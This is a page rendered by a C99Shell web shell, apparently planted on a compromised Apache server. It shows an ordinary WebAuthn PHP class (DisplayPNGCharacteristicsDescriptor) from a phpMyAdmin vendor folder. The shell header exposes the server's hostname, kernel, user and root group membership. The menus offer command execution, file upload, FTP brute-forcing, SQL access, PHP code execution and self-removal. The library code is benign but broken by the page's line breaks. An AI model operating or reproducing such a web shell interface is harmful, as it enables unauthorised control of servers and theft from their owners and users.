!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/public_html/phpmyadmin/vendor/web-auth/metadata-service/src/   drwxr-xr-x
Free 28.15 GB of 117.98 GB (23.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     DisplayPNGCharacteristicsDescriptor.php (4.08 KB)      -rwxr-x---
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

/*
 * The MIT License (MIT)
 *
 * Copyright (c) 2014-2021 Spomky-Labs
 *
 * This software may be modified and distributed under the terms
 * of the MIT license.  See the LICENSE file for details.
 */

namespace Webauthn\MetadataService;

use 
Assert\Assertion;
use 
JsonSerializable;
use function 
Safe\sprintf;

class 
DisplayPNGCharacteristicsDescriptor implements JsonSerializable
{
    
/**
     * @var int
     */
    
private $width;

    
/**
     * @var int
     */
    
private $height;

    
/**
     * @var int
     */
    
private $bitDepth;

    
/**
     * @var int
     */
    
private $colorType;

    
/**
     * @var int
     */
    
private $compression;

    
/**
     * @var int
     */
    
private $filter;

    
/**
     * @var int
     */
    
private $interlace;

    
/**
     * @var RgbPaletteEntry[]
     */
    
private $plte = [];

    public function 
__construct(int $widthint $heightint $bitDepthint $colorTypeint $compressionint $filterint $interlace)
    {
        
Assertion::greaterOrEqualThan($width0Utils::logicException('Invalid width'));
        
Assertion::greaterOrEqualThan($height0Utils::logicException('Invalid height'));
        
Assertion::range($bitDepth0254Utils::logicException('Invalid bit depth'));
        
Assertion::range($colorType0254Utils::logicException('Invalid color type'));
        
Assertion::range($compression0254Utils::logicException('Invalid compression'));
        
Assertion::range($filter0254Utils::logicException('Invalid filter'));
        
Assertion::range($interlace0254Utils::logicException('Invalid interlace'));

        
$this->width $width;
        
$this->height $height;
        
$this->bitDepth $bitDepth;
        
$this->colorType $colorType;
        
$this->compression $compression;
        
$this->filter $filter;
        
$this->interlace $interlace;
    }

    public function 
addPalette(RgbPaletteEntry $rgbPaletteEntry): self
    
{
        
$this->plte[] = $rgbPaletteEntry;

        return 
$this;
    }

    public function 
getWidth(): int
    
{
        return 
$this->width;
    }

    public function 
getHeight(): int
    
{
        return 
$this->height;
    }

    public function 
getBitDepth(): int
    
{
        return 
$this->bitDepth;
    }

    public function 
getColorType(): int
    
{
        return 
$this->colorType;
    }

    public function 
getCompression(): int
    
{
        return 
$this->compression;
    }

    public function 
getFilter(): int
    
{
        return 
$this->filter;
    }

    public function 
getInterlace(): int
    
{
        return 
$this->interlace;
    }

    
/**
     * @return RgbPaletteEntry[]
     */
    
public function getPlte(): array
    {
        return 
$this->plte;
    }

    public static function 
createFromArray(array $data): self
    
{
        
$data Utils::filterNullValues($data);
        foreach ([
'width''compression''height''bitDepth''colorType''compression''filter''interlace'] as $key) {
            
Assertion::keyExists($data$keysprintf('Invalid data. The key "%s" is missing'$key));
        }
        
$object = new self(
            
$data['width'],
            
$data['height'],
            
$data['bitDepth'],
            
$data['colorType'],
            
$data['compression'],
            
$data['filter'],
            
$data['interlace']
        );
        if (isset(
$data['plte'])) {
            
$plte $data['plte'];
            
Assertion::isArray($plteUtils::logicException('Invalid "plte" parameter'));
            foreach (
$plte as $item) {
                
$object->addPalette(RgbPaletteEntry::createFromArray($item));
            }
        }

        return 
$object;
    }

    public function 
jsonSerialize(): array
    {
        
$data = [
            
'width' => $this->width,
            
'height' => $this->height,
            
'bitDepth' => $this->bitDepth,
            
'colorType' => $this->colorType,
            
'compression' => $this->compression,
            
'filter' => $this->filter,
            
'interlace' => $this->interlace,
            
'plte' => $this->plte,
        ];

        return 
Utils::filterNullValues($data);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--